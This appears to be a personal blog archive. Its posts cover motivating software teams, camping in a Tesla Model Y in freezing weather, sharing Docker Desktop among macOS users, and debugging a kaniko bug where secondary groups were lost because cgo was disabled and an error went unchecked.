Many define successful management as the ability to get the most out of the team. Now that you have learned about each individual's motivation, it is time to find the common thread that binds the team together. This shared context will help you build a plan to harmoniously fit everyone's local maximum (personal motivation) into the global maximum (personal+team+company motivation).

To discover this thread, I recommend first sharing the mission and value statements of other teams, and then letting your team discover define their own statement of values. These values should be ideals or traits that your team cannot live without. Once defined, your team is ready to create a mission statement. A mission statement should:

Align with the mission of the group above, if applicable
Clarify who your team serves
Be worded precisely enough to not apply to other teams

Depending on the team size, expect that this may take three different 45-minute meetings to brainstorm and refine it. Your team may resist the idea of brainstorming a mission at first, but once they learn what everyone agrees is essential, they will appreciate the clarity.

For suggestions on how to run a successful exploration of mission statement & values, I highly recommend reading Tribal Leadership: Leveraging Natural Groups to Build a Thriving Organization by Logan, King, Fischer-Wright.

Craftsmanship

Software engineers at their heart are craftspeople. As with any other craft trade, software engineers intrinsically want to be proud of what they create. Craftsmanship is an important trait to cultivate as it paves the way for:

High morale
Product excellence
Prevention of technical debt

Even when one is racing the revenue clock, deprioritizing craftsmanship is never the answer. If you push engineers toward deadline-driven development, you may very well be causing them to lower the code quality bar. If not addressed immediately, the decreased code quality generates a vicious circle of low morale, low velocity, high turnover, and an ever-increasing pile of technical debt.

If you encourage your team to build artifacts (code, design docs) that they can be proud of throughout their career, you will no longer have to worry much about motivation.

For more on craftsmanship in software, I recommend Software Craftsman, The: Professionalism, Pragmatism, Pride by Sandro Mancuso.

Motivating Software Engineering Teams

2021-03-09T00:00:00Z

In my experience as a software engineer and a software engineering manager, I’ve found that the best way to motivate software engineers is with empathy, purpose, and a sense of craftsmanship. Conversely, the most effective way to demotivate a software engineering team over the long term is with excessive process and deadlines.

Let’s dive a little bit deeper into the levers I’ve found that work in motivating software engineers into doing their best work:

Empathy

The key to motivating a team is to identify what motivates the people that make up the team, with enough empathy to put yourself in their shoes.

Everyone wants to be happy, but everyone has their unique path to happiness. Learning the career and life goals of everyone on the team allows you to prime the right tasks for them at the right time.

Building rapport

Life stories make honest goals approachable

Career: make large-scale computing trivial for the world
to use in a sustainable manner.

Non-career: Accelerate human knowledge. Be a great father
and spouse.

With time, you should achieve the empathy and respect necessary to understand each other's personal and professional motivation.

Purpose

Align with the mission of the group above, if applicable
Clarify who your team serves
Be worded precisely enough to not apply to other teams

Craftsmanship

High morale
Product excellence
Prevention of technical debt

If you encourage your team to build artifacts (code, design docs) that they can be proud of throughout their career, you will no longer have to worry much about motivation.

For more on craftsmanship in software, I recommend Software Craftsman, The: Professionalism, Pragmatism, Pride by Sandro Mancuso.

Tesla Model Y: below-zero family camping

2021-03-08T00:00:00Z

TL;DR: If you think outside of the box, you can sleep 4 with full climate control for a cost of 10-12% battery usage per night, even in freezing temperatures.

When we bought our Tesla Model Y in December, the intent was to roughly recreate the experiences of our trusty 1971 VW Bus, but in electric form.

With all the cargo space, and the availability of great mattress options, such as the Tesmat, one can get pretty close to a passenger-van conversion. What one cannot simulate easily however, is the 4-person sleeping experience one can get from a pop-up tent. The Tesla Model Y can only comfortably fit 2 adults, or 1 adult & two children.

The best option I've found for sleeping 4 is the Napier SUV Sportz Tent This gargantuan tent attaches easily to the back of a Tesla Model Y, but it is a bit heavy and bulky to pack up. The biggest plus side to this option is that you can still run the Camp Mode on the Tesla Model Y to heat the tent: which is something we tested this weekend.

Using Camp Mode to climate control the Napier tent is a party trick that is mostly only useful in extreme temperatures. In my experience, Camp Mode on the Tesla Model Y consumes ~10% battery life when set to 67'F with a 40'F exterior temperature, and the trunk closed.

My primary concern was power consumption due to the lack of insulation: tents are typically nowhere near as insulated as a Tesla. How much power would we waste by adding the tent?

To counter the insulation issue, I ordered 3mm 48"x50Ft, and a single roll of foil tape, to build a ~5'x5'x5' cube within the Napier SUV Tent, lovingly called the "space station":

The foil tape ran out quite quickly, so I finished it up with some painters tape.

On the first night of testing, we arrived at 10pm with 68% battery, raining cats & dogs, and a chilly 35'F. I was too busy trying to setup without getting soaked that I didn't bother sealing the gaps too much.

I set the Tesla to Camp Mode @ 67'F, and used a screwdriver to flip the trunk latch to trick the car into thinking the trunk was shut. I had heard that otherwise, the climate control would shut off after 30 minutes. Our battery went from 67% to 47%: a 20% drop over 10 hours, which had me a bit worried for the second night.

By this point, we had acquired 2 extra rolls of foil tape (still not enough), and used some duct-tape to seal the gaps between the car and the space station. I was more conservative this time, setting the car to 60'F, setting the vent manually to 1. After 7 hours, we consumed only 5% battery, so I increased the heat to 66'F for the next 4 hours, which consumed another 5%. Not bad when the exterior temperature was 30'F!

One recommendation is a stuff sack, as packing the inner tent can consume a lot of space in the car otherwise (a little bit bigger than the packed size of the Napier SUV tent). Here's a photo of the inner tent before I rolled it up:

When we left the campsite, we were at 33% battery, which was just enough to get us to the supercharger in Ukiah. My backup plan was a slow charger just up the road in Lakeport, which I still tried for fun.

This experiment means that the insulated Napier tent is effectively as efficient insulation wise as the Tesla itself: at worst, 10-20% more power consumption over the regular Camp Mode with the trunk shut. Depending on your target temperature, plan on 10-12% battery consumption per night (11 hours) with Camp Mode in the Tesla Model Y.

This result means that the Tesla Y can sleep 4 people in freezing temperatures for multiple nights in a row without a source of electricity. I still have a few gaps to fill with foil tape, and need to bring painters tape on the next trip to quickly seal it against the car.

Hope this post helps someone!

Persistent multi-user Docker on macOS

2021-02-01T00:00:00Z

Ever wanted to run Docker on an unmanned macOS machine, where all users could have access to a working Docker command-line?

First, be aware that docker is not designed to be securely shared among multiple users. As with Linux, Please assume that anyone who has access to docker is effectively equivalent to `root'.

This assumes that users will be interacting with docker via the command-line, rather than graphically. It also assumes that the environment is such that allows a single user to be automatically logged into via the GUI, but this is mostly out of laziness rather than an underlying technical restriction.

Choose an account that Docker Desktop will run as. I recommend creating a docker user, but it could be any account. This account does not need admin access.
Open Settings -> Users & Groups -> Login Options, and ensure that this user is automatically logged into.
Created a shared containers directory:

sudo mkdir -p /Users/Shared/Library/Containers
sudo chown docker:staff /Users/Shared/Library/Containers
sudo chmod -R 770 /Users/Shared/Library/Containers/

Login graphically with the account that will run Docker and start /Applications/Docker.app, answer any questions it might have.
Open Settings -> Users & Groups -> Login Items, and drag the Docker app to it.
Quit Docker Desktop via the menu item
Open Terminal and move your Docker data to a shared location that can be written to by other users:

mv ~/Library/Containers/com.docker.docker /Users/Shared/Library/Containers

chmod -R 770 /Users/Shared/Library/Containers/com.docker.docker

chmod -R +a "group:staff allow list,add_file,search,add_subdirectory,delete_child,readattr,writeattr,readextattr,writeextattr,readsecurity,file_inherit,directory_inherit" /Users/Shared/Library/Containers/com.docker.docker

chmod -R g+rw /Users/Shared/Library/Containers/com.docker.docker/Data

Then link your local Docker data to this shared source, and make sure that others can traverse into this folder to resolve the socket symlink:

ln -s /Users/Shared/Library/Containers/com.docker.docker ~/Library/Containers/com.docker.docker

chmod g+x ~/Library ~/Library/Containers

Restart /Applications/Docker.app to test
SSH into the host as another username, and run docker run mariadb to test.
Reboot host and reconnect via ssh to test (it may take a moment for Docker to start up)

This is the configuration we use for the #kernelcafe. Please add your improvements to the comments!

Go & secondary groups: a kaniko adventure!

2020-04-10T00:00:00Z

I wanted to get my feet wet with understanding Kaniko, an open-source in-cluster builder for Docker images. I happen to work with one of the maintainers, Tejal, and I asked her if there was any interesting UNIX-internals sort of bugs that might be interesting.

Here's the mystery issue: "The USER command does not set the correct gids, so extra groups are dropped". Here's an example to reproduce it:

FROM ubuntu:latest
RUN groupadd -g 20000 bar
RUN groupadd -g 10000 foo
RUN useradd -c "Foo user" -u 10000 -g 10000 -G bar -m foo
RUN id foo
USER foo
RUN id

In an ideal world, both "id" commands should give the same output, but the second one did not include foo's membership in bar. This definitely sounded like a secondary group issue. I happened to know that secondary groups were bolted onto the UNIX implementation some 10 years later than primary groups (SVR4, by way of BSD).

How to reproduce

First, get a shell into the Kaniko debug image, mounting in the out/ and integration/ subdirectory:

docker run -it --entrypoint /busybox/sh -v "$HOME"/.config/gcloud:/root/.config/gcloud -v (pwd)/integration:/workspace -v (pwd)/out:/out gcr.io/kaniko-project/executor:debug

I placed their Dockerfile into kaniko/integration/1097, which was mounted as /workspace. I could then trivially reproduce their case using kaniko:

/kaniko/executor -f 1097 --context=dir://workspace --destination=gcr.io/kaniko/test --tarPath=/tmp/image.tar --no-push

Finding the culprit

The first question was: how does Kaniko implement user switching? Are they switching in such a way that populates secondary groups? I ask because the standard syscalls (seteuid, setegid) do not implement secondary groups: one has to instead call setgroups. Here's what I found:

cmd.SysProcAttr.Credential = &syscall.Credential{Uid: uid, Gid: gid}

[SysProcAttr](https://golang.org/pkg/syscall/#SysProcAttr) is not exactly a well-known feature in Go, but it's perfect for setting exec attributes such as:

Chroot - lock the process into a directory
Pdeathsig - Signal that the process will get when its parent dies (Linux only)
... and many options for user namespacing: handy for container tools.

So, I figured it would be easy enough to improve the function in such a way that performs secondary group impersonation. The trick to you, dear reader, is to find the flaw!

func impersonate(userStr string) (*syscall.Credential, error) {
   ...
   groups := []uint32{}
   gidStr, err := u.GroupIds()
   logrus.Infof("groupstr: %s", gidStr)

   for _, g := range gidStr {
       i, err := strconv.ParseUint(g, 10, 32)
       if err != nil {
           return nil, errors.Wrap(err, "parseuint")
       }
       groups = append(groups, uint32(i))
   }

   return &syscall.Credential{
       Uid:    uid,
       Gid:    gid,
       Groups: groups,
   }, nil
}

After running make, I hop back into the container to run the repro case, and I'm perplexed by the log message:

INFO[0013] u.GroupIds returned: []

Is kaniko running in some alternate chroot universe where it can't see? I double check by adding a shell command:

out, err = exec.Command("grep", "foo", "/etc/group").Output()

The answer is no. At this point, there are only two options in my mind. Either this is a Go bug, or, if Go is using libc to make this call (likely), it's a libc bug, or at least a disagreement between the two systems. As soon as you have made the decision to blame the compiler, it's time to gather evidence, typically by making a simpler test case. I opt first to investigate if Go is using libc to look up the list of secondary groups, starting with:

os/user/listgroups_unix.go

A couple of nested functions later, and you can see that it's calling:

static int mygetgrouplist(const char* user, gid_t group, gid_t* groups, int* ngroups) {
  return getgrouplist(user, group, groups, ngroups);
}

This is almost the same implementation you see in busybox's id command source

static int get_groups(const char *username, gid_t rgid, gid_t *groups, int *n)
{
  int m;
   if (username) {
   	 m = getgrouplist(username, rgid, groups, n);
   	 return m;
   }

Now, it's possible that Go is setting ngroups to 0, so we just build a little test case program:

func main() {
    u, err := user.Lookup(os.Args[1])
    if err != nil {
   	 panic(fmt.Sprintf("lookup failed: %v", err))
    }

The test program runs great on macOS, but when I use xgo to cross-compile it for Linux, all it outputs is:

-rwxr-xr-x    1 0        0          2125099 Mar 28 20:26 ggroups-linux-amd64

# ./ggroups-linux-amd64
/busybox/sh: ./ggroups-linux-amd64: not found

If you ever see this error in UNIX, it usually means one of three things:

The program specifies an invalid #! line
The binary needs a shared library that does not exist
The binary is for the wrong architecture

In this case, I suspected #2, because I see that busybox is in use, chances are pretty high that this Docker image lacks libc. This environment does not have ldd, but it has strings, so I can get some hints about the binary that was built:

strings /out/ggroups-linux-amd64  | head
bhkFaBAPgWy3KAp2RQcd/llKGprZSMM7cCxIzwmJ9/0QgnPM9q9pk--9IIyIXn/X9bTurj9MBmKtnVL-ANT
/lib64/ld-linux-x86-64.so.2
ATUSH

It looks like the right architecture, but yeah, that library doesn't exist. Just to confirm my sanity, I confirmed this program works great in an ubuntu container. I immediately suspect that either kaniko's user environment is trash, or kaniko is up to shenanigans in their Makefile. The easier is easier to check, and it doesn't take long to notice:

out/executor: $(GO_FILES)
	GOARCH=$(GOARCH) GOOS=linux CGO_ENABLED=0 go build -ldflags 
       $(GO_LDFLAGS) -o $@ $(EXECUTOR_PACKAGE)

God damnit. kaniko works because they disable cgo to workaround the lack of a libc environment. Look back at listgroups_unix.go - it uses C code, and the build rule specifically states only to build with cgo. If we look at the fallback implementation, we see:

func listGroups(*User) ([]string, error) {
    if runtime.GOOS == "android" || runtime.GOOS == "aix" {
        return nil, fmt.Errorf("user: GroupIds not implemented on %s", runtime.GOOS)
    }
    return nil, errors.New("user: GroupIds requires cgo")
}

But wait - we didn't see an error in our impersonate function! I try to compile it without cgo:

env CGO_ENABLED=0 go run ggroups.go root
panic: groupids failed: user: GroupIds requires cgo

goroutine 1 [running]:
main.main()
    /Users/tstromberg/src/ggroups/ggroups.go:18 +0x117
exit status 2

The mystery deepens

If you see an error in one environment, and not the other, chances are either:

A compiler error
A kernel error
You forgot to check the error code.

It's almost always the last option. Sure enough:

   gidStr, err := u.GroupIds()
   logrus.Infof("groupstr: %s", gidStr)

As soon as I noticed this, I walked away from my computer for an hour. I suggest you do the same.